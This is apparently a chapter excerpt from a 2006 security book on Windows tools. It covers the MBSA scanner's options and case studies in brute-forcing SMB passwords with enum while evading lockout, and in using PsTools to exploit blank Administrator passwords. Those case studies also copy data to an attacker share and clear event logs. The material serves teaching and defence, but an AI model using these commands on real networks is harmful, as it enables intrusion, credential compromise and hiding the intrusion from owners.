MBSA VERSION 2

The Microsoft Baseline Security Analyzer (MBSA) has received a lot of attention and has been upgraded to version 2.0. Its purpose is to query local and remote systems about their current security patches and compare them with the latest list from Microsoft. It will run under any credentials you specify. So, as a domain administrator, it should be easy to gather information for a majority of the Windows hosts (2000, XP, and 2003) on your network.

Implementation

For those of you most comfortable in the colorful world of GUIs, you can run MBSA and have it query the hotfixes as well as perform other security- related checks. Figure 6-3 shows the simple interface for the GUI.


Figure 6-3: GUI interface

Notice that the interface closely resembles the format of Windows Update. The Server service must be running in order for the tool to query to most information. Example output is shown in Figure 6-4.


Figure 6-4: Example output

If you wish to run the MBSA utility only from the command line, find the mbsacli.exe binary from your MBSA install; this is usually in the C:\Program Files\Microsoft Baseline Security Analyzer 2\ directory on your system. Here is an abbreviated output of the possible options that MBSA provides:

 C:\tools>mbsacli.exe /? Microsoft Baseline Security Analyzer Version 2.0 (2.0.5029.2) (C) Copyright 2002-2005 Microsoft Corporation. All rights reserved. MBSACLI [/target  /r  /d domain] [/n option] [/o file] [/qp] [/qe]         [/qr] [/qt] [/listfile file] [/xmlout] [/wa  /wi]         [/catalog file] [/nvc] [/nai] [/nm] [/nd] [/?] MBSACLI [/l] [/ls] [/lr file] [/ld file] [/unicode] [/nvc] [/?] 

The parameter list is described in the following table:

Mbsacli.exe Option

Description

/target <domain\computer>/target <IP>

Scans named computer or IP address. Default is the localhost.

/r <IP-IP>

Scans IP address range.

/listfile <filename>

Scans hosts listed in filename. One line per host.

/d <domain>

Scans named domain.

/n <option>

Selects which scans to NOT perform.
All checks are performed by default.
Valid values:
OS, SQL, IIS, Updates,Password Can be concatenated with ˜+. Do not use spaces within <option>.

/wa

Shows only updates approved on the Update Services server.

/wi

Shows all updates even if not approved on the Update Services server.

/nvc

Doesn't check for a new version of MBSA.

/o <filename>

Outputs XML filename template.
Default: %D% - %C% (%T%).

/qp

Doesn't display scan progress.

/qt

Doesn't display the report by default following a single-computer scan.

/qe

Doesn't display error list.

/qr

Doesn't display report list.

/q

Does not display scan progress report error list report list

/Unicode

Outputs text in Unicode.

/u <username>

Connects as username.

/p <password>

Connects with password.

/catalog <filename>

Specifies the data source that contains the available security update information.

/nai

Does not update the prerequisite Windows Update Agent components during a scan.

/nm

Does not configure computers to use the Microsoft Update site for scanning.

/nd

Does not download any files from the Microsoft web site when scanning.

/xmlout

Runs in updates-only mode using only mbsacli.exe and wusscan.dll. Only these switches can be used with this option: /catalog, /wa, /wi, /nvc, /unicode

/l

Lists all reports available.

/ls

Lists reports from the latest scan.

/lr <filename>

Displays overview report.

/ld <filename>

Displays detailed report.

MBSA provides a significant amount of useful information about the current patches, user configuration, disk configuration, and network configuration of the target system.

Case Study: Brute-force Attacks

Enum's username and password feature lends itself to a rudimentary brute-force password guessing tool, but it also includes the f option to make things easy. The P option returns the password policy information of the target. This includes the lockout period and number of invalid logins before Windows locks the account. You should always take a look at this before trying to break an account:

 C:\>enum -P 192.168.0.36 server: 192.168.0.36 setting up session... success. password policy:  min length: 7    min age: 2 days    max age: 42 days    lockout threshold: 5    lockout duration: 30 mins    lockout reset: 30 mins  cleaning up... success. 

Use this information to customize a brute-force attack.

Note that, by design, the Administrator account cannot be locked by failed password attempts. Use passprop/adminlockout from the Resource Kit if you want to enforce the lockout policy for the administrator. If no account lockouts are applied, the test is simple; tailor the dictionary to the target. In this example, no passwords can be shorter than seven characters (although the administrator can always set an arbitrary password), so you would remove words with six characters or less from your dictionary.

Select an account to crack, customize your favorite dictionary file, and unleash enum:

 C:\>enum -D -u Administrator -f dict.txt 

This launches a relatively speedy attack against the Administrator account. If you try to break any other user's account, you'll have to pay more attention to the lockout threshold. An approach that works around a limit of five invalid logins and a period of 30 minutes requires Cygwin or the Resource Kit tools (for the sleep function):

 C:\>for /F %%p in (dict.txt) do enum -u Istari -p %%p -M 192.168.0.36  output.txt && sleep 180s 

As you can see, lockout policies severely impact a brute-force attack. However, we can alter our methodology by targeting multiple user accounts to speed up the process. Use the G option to identify users in the Administrator group or any particular group you wish to target:

 C:\>enum -G 192.168.0.36 

Then launch the brute force against both accounts. Place the account names in a file called users.txt. If you have a large enough user base to test, you won't have to worry about locking out an account.

 C:\>for /F %%p in (dict.txt) do for /F %%u in (users.txt) do enum -u %%u -p %%p -M 192.168.0.36 >> output.txt 

With this technique, the users.txt file should be large and the pass.txt file should be small. This roots out accounts with trivial passwords such as password , changeme ,or pass123 . For a more robust brute-force tool, check out THC-Hydra in Chapter 8.

 
Case Study: The Danger of Unsecured NetBIOS Ports

Firewall and network administrators have done a better job of locking down the ports a network makes available to the Internet. Good network architectures place high-risk servers such as web, e-mail, and DNS on network segments segregated from the internal corporate network and the Internet, an area often referred to as the demilitarized zone (DMZ). This only addresses one population of potential attackers because there may be malicious users on the corporate network, someone running a war-dialer might find a live modem, or someone on a wireless drive-by might find a poorly secured access point.

In any case, the NetBIOS ports between the corporate network and the DMZ are most likely open. After all, the concern is for hackers attacking from the Internet, right? Take a look at how the PsTools can pick apart a web farm. First, our attacker is on the corporate network (an IP address in the 10.0.0.x range), accessed from the parking lot with a wireless network information center (NIC). The target network is the web servers and databases on the 192.168.17.x range. A port scan shows only a few open services:

 C:\>fscan -p1-1024 192.168.17.1-192.168.17.255 192.168.17.1        139/tcp 192.168.17.1        135/tcp 192.168.17.1       3389/tcp 192.168.17.1        445/tcp 192.168.17.39        80/tcp 192.168.17.39       139/tcp 192.168.17.39       135/tcp 192.168.17.39       445/tcp 192.168.17.148       80/tcp 192.168.17.148      139/tcp 192.168.17.202      445/tcp 192.168.17.239      139/tcp 192.168.17.239      135/tcp 192.168.17.239      445/tcp 

It looks like only the web and NetBIOS ports are open; the SQL ports must be blocked by the firewall.

The hacker could run Winfingerprint to find the true Administrator account name in case the system administrators renamed it (SID 500). Here the attacker runs a quick test on the range to locate any systems with a blank Administrator password. It's pointless to try every IP address on the 192.168.17.x network, because many of them are unused. The hosts.txt file contains the IP address or hostname of only the live systems.

 C:\>for /F %%h in (hosts.txt) do psinfo -u Administrator -p "" \192.168.17.%%h > systeminfo-192.168.17.%%h.txt 

If any of the commands return successfully, the attacker has discovered an account with a blank password. Note that the attacker targeted the Local Administrator account for each system. In this case, the host at 192.168.17.148 had a blank Administrator password. The PsInfo also listed this hotfix :

 SP2SRP1: Windows 2000 Security Rollup Package... 

This rollup package means that the most common IIS vulnerabilities have been patched, but that doesn't impede the attack, as command-line access can be gained with PsExec.

The attacker creates a Windows share on her own system, 10.0.0.99, as a drop-off location for information gathered from the web server. Then the attacker uses PsExec to have the web server mount the share:

 C:\>psexec -u Administrator -p "" \192.168.17.148 net use * \10.0.0.99\tools pass /u:user Drive H: is now connected to \10.0.0.99\tools. The command completed successfully. 

Next , the attacker runs another fscan from the compromised web server. The results should be different because the scan originates behind the firewall (check out Chapter 13 for methods on accessing ports blocked by firewalls):

 C:\>psexec -u Administrator -p "" \192.168.17.148 -c fscan.exe -q -o h:\fscan.output --bp1-65535 192.168.17.0-192.168.17.255 

Notice what's happening here. Fscan is being copied to the victim system ( -c ); the victim system runs fscan and stores the output ( -o h:\fscan.output )on the attacker's system. Remember that the previous step mapped the H: drive on the victim system to the attacker's system. Taking a look at the output, fscan has discovered one more service:

 192.168.17.202 1433/tcp 

The attacker found the database!

Next, the attacker runs PsExec against 192.168.17.202 and collects some basic information. Some of the commands to run include these:

ipconfig /all Determine whether the system is multi- homed . A web server often has two network cardsone for the Internet- facing IP address and another for back-end connections to a database.

netstat na View current connections and listening services. This is an excellent way to identify other networks. For example, we could port scan an entire Class A network space (10.0.0.0/8) or examine the netstat output and discover connections to specific Class C networks (10.0.35.0/24, 10.0.16.0/24, and so on).

dir /s c:\ Recursive directory listing, repeated for each drive letter. Along with the PsService tool, this identifies what programs are installed. It might also highlight sensitive files such as global.asa, which contain clear-text passwords.

Once all of the data have been pilfered from the server, the attacker clears the logfiles and moves on to the next target:

 C:\>psloglist.exe -c Application -u Administrator -p "" \192.168.17.148 C:\>psloglist.exe -c System -u Administrator -p "" \192.168.17.148 C:\>psloglist.exe -c Security -u Administrator -p "" \192.168.17.148 
 
Case Study: Manage Multiple Servers

The PsTools suite seems so basic that you might wonder about its usefulness . Ask yourself what you want to do. The ability to interact remotely with services, logfiles, processes, and the command line is not something to scoff at. One advantage to using PsExec and PsLogList is logfile consolidation. We've already demonstrated how useful PsLogList is for gathering and clearing remote event logs. Web server logfiles require a more scripted approach. You could run scripts on each individual web server that copies logs, or you could run a single script from your master administration server that collects logfiles from all the web servers. In addition to the following two batch files, you need to set up the following:

C:\shares\dropoff\ A directory shared on the master server to which the Guest user has write privileges.

C:\logs\ A directory for storing logfiles. Create subdirectories here named for each web server.

The collection batch file This is the file to run to start the collection process:

 rem CollectLogs.bat rem usage: CollectLogs.bat <username> <password> for /F %%h in (webservers.txt) do rotate.bat %%h %1 %2 

This is the helper batch file that performs the actual work:

  rem rotate.bat  rem usage: rotate.bat IP address username password  rem Stop the Web Service  psservice \%1 -u %2 -p %3 stop w3svc  rem Mount the master's file share for dropping off files  psexec \%1 -u %2 -p %3 net use L: \master\dropoff plainpass /u:guest  rem Copy the files from the web server to the master  psexec \%1 -u %2 -p %3 cmd copy C:\Winnt\System32\LogFiles\W3SVC1\*.log L:\  rem Move the files from the master's dropoff folder to the log folder rem for the web server  move C:\shares\dropoff\*.log C:\logs\%1\  rem Disconnect the share  psexec \%1 -u %2 -p %3 net use L: /del  rem Restart the Web Service  psservice \%1 -u %2 -p %3 start w3svc 

You could run this daily, weekly, or monthly. It leaves the logfiles on the web server but creates copies on your master server. Then you could come up with other scripts to perform automated log reviews.

 


Anti-Hacker Tool Kit
Anti-Hacker Tool Kit, Third Edition
ISBN: 0072262877
EAN: 2147483647
Year: 2006
Pages: 175

flylib.com © 2008-2017.
If you may any questions please contact us: flylib@qtcs.net